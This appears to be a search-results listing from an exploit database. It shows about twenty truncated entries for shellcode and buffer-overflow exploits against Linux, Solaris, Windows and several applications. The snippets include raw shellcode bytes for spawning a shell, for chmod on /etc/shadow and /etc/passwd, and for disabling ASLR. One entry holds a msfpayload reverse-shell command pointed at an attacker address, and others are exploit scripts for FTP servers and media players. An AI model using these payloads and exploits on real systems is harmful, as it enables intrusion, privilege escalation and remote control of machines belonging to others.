7303 matches found
linux/x86 execve("/bin/ash",0,0); 21 bytes
No description provided by source. / 21 byte execve/bin/ash,0,0; shellcode for linux x86 by zasta zasta at darkircop.org / include unistd.h include stdio.h char shellcode = \x31\xc9\xf7\xe1\x04\x0b\x52\x68 \x2f\x61\x73\x68\x68\x2f\x62\x69 \x6e\x89\xe3\xcd\x80; void code asm xor %ecx,%ecx mul %ecx...
Linux/x86 Reverse TCP Bind Shellcode (92 bytes)
No description provided by source. / Title : reversetcpbindshell 92 bytes Date : 16 May 2013 Author : Russell Willis [email protected] Testd on: Linux/x86 SMP Debian 3.2.41-2 i686 $ objdump -D reversetcpbindshell -M intel reversetcpbindshell: file format elf32-i386 Disassembly of section .text:...
29 bytes chmod("/etc/shadow", 0777) shellcode
No description provided by source. include stdio.h include string.h / by Magnefikko 20.04.2010 [email protected] promhyl.oz.pl Subgroup: PRekambr Name: 29 bytes chmod/etc/shadow, 0777 shellcode Platform: Linux x86 chmod/etc/shadow, 0777; gcc -Wl,-z,execstack filename.c shellcode:...
VirtualDJ Pro/Home <= 7.3 - Buffer Overflow Vulnerability
No description provided by source. def encodeDatadecoder, data, validValues: assert data.find"\0" == -1, "Shellcode must be NULL free" data += "\0" End of shellcode encData = decoder-2: decoder = decoder:-2 for p in rangelendata: dByte = orddatap pxByte = ordencDatap+1 bx, by = encoderdByte ^...
PCMAN FTP 2.07 - Buffer Overflow Exploit
No description provided by source. Exploit Title: PCMAN FTP 2.07 Long Command Buffer Overflow unauthenticated Date: Feb 19, 2014 Exploit Author: Sumit Version: 2.07 Tested on: Windows XP Professional SP3 Description: Buffer overflow is triggered upon sending long string to PCMAN FTP 2.07 in place...
CodeBlue 5.1 SMTP Response Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/5300/info CodeBlue is an Apache httpd log scanning utility that attempts to contact the administrators of hosts infected with worms. A buffer overflow vulnerability has been reported in CodeBlue. The condition occurs when...
Linux x86 egghunt shellcode
No description provided by source. / Exploit Title: Linux/x86 egghunt shellcode 29 bytes NULL free Date: 23-07-2011 Author: Ali Raheem Tested on: Linux Ali-PC.home 2.6.38.8-35.fc15.x8664 1 SMP Wed Jul 6 13:58:54 UTC 2011 x8664 x8664 x8664 GNU/Linux Linux injustice 2.6.38-10-generic 46-Ubuntu SMP...
AVCon DEP Bypass
No description provided by source. DEP Bypass for OptIn/OptOut all modules used are not aslr aware script produces a text file, copy the contents paste in the input field next to the call button discovered by Dillon Beresford import sys from struct import pack print \n===================== print...
Linux/x86 - Disable randomize stack addresse - 106 bytes
No description provided by source. / Title: Linux/x86 - Disable randomize stack addresse - 106 bytes Set randomizevaspace to zero Author: Jonathan Salwan submit ! shell-storm.org Web: http://www.shell-storm.org Twitter: http://twitter.com/jonathansalwan !Database of Shellcodes...
Solaris/x86 - Sync() & reboot() & exit(0) - 48 bytes
No description provided by source. / Title: Solaris/x86 - Sync & reboot & exit0 - 48 bytes Author: Jonathan Salwan submit AT shell-storm.org Web: http://www.shell-storm.org Twitter: http://twitter.com/jonathansalwan ! Database of shellcodes: http://www.shell-storm.org/shellcode/ Date: 2010-06-07...
Linux/ARM - Disable ASLR Security - 102 bytes
No description provided by source. / Title: Linux/ARM - Disable ASLR Security - 102 bytes Date: 2010-06-20 Tested: Linux ARM9 2.6.28-6-versatile Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Database of shellcodes http://www.shell-storm.org/shellcode/...
Mandrake 7/8/9,RedHat 6.x/7 Bonobo EFSTool Commandline Argument Buffer Overflow (3)
No description provided by source. source: http://www.securityfocus.com/bid/5125/info Bonobo is a set of tools and CORBA interfaces included as part of the Gnome infrastructure. It is designed for use on the Linux and Unix operating systems. A boundry condition error has been discovered in the...
FreeFloat FTP 1.0 - DEP Bypass with ROP
No description provided by source. !usr/bin/python Exploit title: FreeFloat ftp 1.0 DEP bypass with ROP Exploit Author: negux POC: http://www.exploit-db.com/exploits/24479/ Tested on : Windows XP SP 3 Spanish import socket,struct msfpayload windows/shellreversetcp LHOST=192.168.1.117 LPORT=443 R ...
Oracle 8.x cmctl Buffer Overflow Vulnerability
No description provided by source. / source: http://www.securityfocus.com/bid/1968/info cmctl is the Connection Control Manager, part of the Oracle 8i installation. A vulnerability exists that can allow elevation of privileges. The problem occurs in the way cmctl handles the user-supplied command...
XFree86 4.3 Font Information File Buffer Overflow Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/9636/info It has been reported that the XFree86 X Windows system is prone to a local buffer overflow vulnerability. The issue arises from improper bounds checking when parsing the 'font.alias' file. Successful exploitatio...
Linux/x86-64 - setuid(0) & chmod ("/etc/passwd", 0777) & exit(0) - 63 bytes
No description provided by source. / Title: Linux/x86-64 - setuid0 & chmod /etc/passwd, 0777 & exit0 - 63 bytes Date: 2010-06-17 Tested: Archlinux x8664 k2.6.33 Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/jonathansalwan ! Dtabase of shellcodes...
Live For Speed 2 Version Z .Mpr - Local buffer Overflow Exploit
No description provided by source. / Live For Speed 2 Version Z .Mpr Local buffer Overflow Exploit !! X version .mpr header specifications can be found at http://www.lfs.net/?page=MPR Version :Patch Z and all previous versions. Vendor :http://www.lfs.net/ Release date: July 14th 2009 Patch for th...
Winamp <= 5.12 - (.pls) Remote Buffer Overflow Exploit (Perl Version)
No description provided by source. !/usr/bin/perl -w =============================================================================================== Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit By Umesh Wanve [email protected]...
Windows Seven Pro SP1 64 Fr (Beep) Shellcode 39 Bytes
No description provided by source. include stdio.h char shellcode = \x31\xC9 //xor ecx, ecx \x64\x8B\x71\x30 //mov esi, fs:ecx+0x30 \x8B\x76\x0C //mov esi, esi+0x0C \x8B\x76\x1C //mov esi, esi+0x1c \x8B\x06 //mov eax, esi \x8B\x68\x08 //mov ebp, eax+0x08 \x68\x11\x11\x11\x11 //push 0x11111111...
ePSXe <= 1.6.0 nogui() Local Exploit
No description provided by source. / epsxe-e.c ePSXe v1. local exploit By: Qnix e-mail: q-nixathotmaildotcom ePSXe-website: www.epsxe.com EXP-Sample: root@Qnix:/epsxe gcc -o epsxe-e epsxe-e.c root@Qnix:/epsxe ./epsxe-e ePSXe v1. local exploit by Qnix | Q-nixathotmaildotcom Stack pointer ESP :...